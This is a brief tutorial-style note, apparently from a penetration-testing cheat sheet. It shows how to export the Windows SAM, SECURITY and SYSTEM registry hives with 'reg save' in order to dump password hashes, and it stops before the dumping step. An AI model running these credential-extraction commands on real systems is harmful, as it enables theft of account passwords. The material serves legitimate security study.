The Windows Registry is a hierarchical database that stores low-level settings for Windows and for applications that opt to use the registry. Registry keys are container objects, which contain values
A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in.
If we can access to registries and get registry hives, the password hashes can be dumped.
Copy three hives (SAM, SECURITY, SYSTEM) to arbitrary direcotyr where we can access.
# save: Saves a copy of specified subkeys, entries, and values of the registry in a specified file.# HKLM: HKEY_LOCAL_MACHINEreg save HKLM\sam c:\Users\<user>\Desktop\sam.savereg save HKLM\security c:\Users\<user>\Desktop\security.savereg save HKLM\system c:\Users\<user>\Desktop\system.saveCopied!
After that, we can dump password hashes from hives.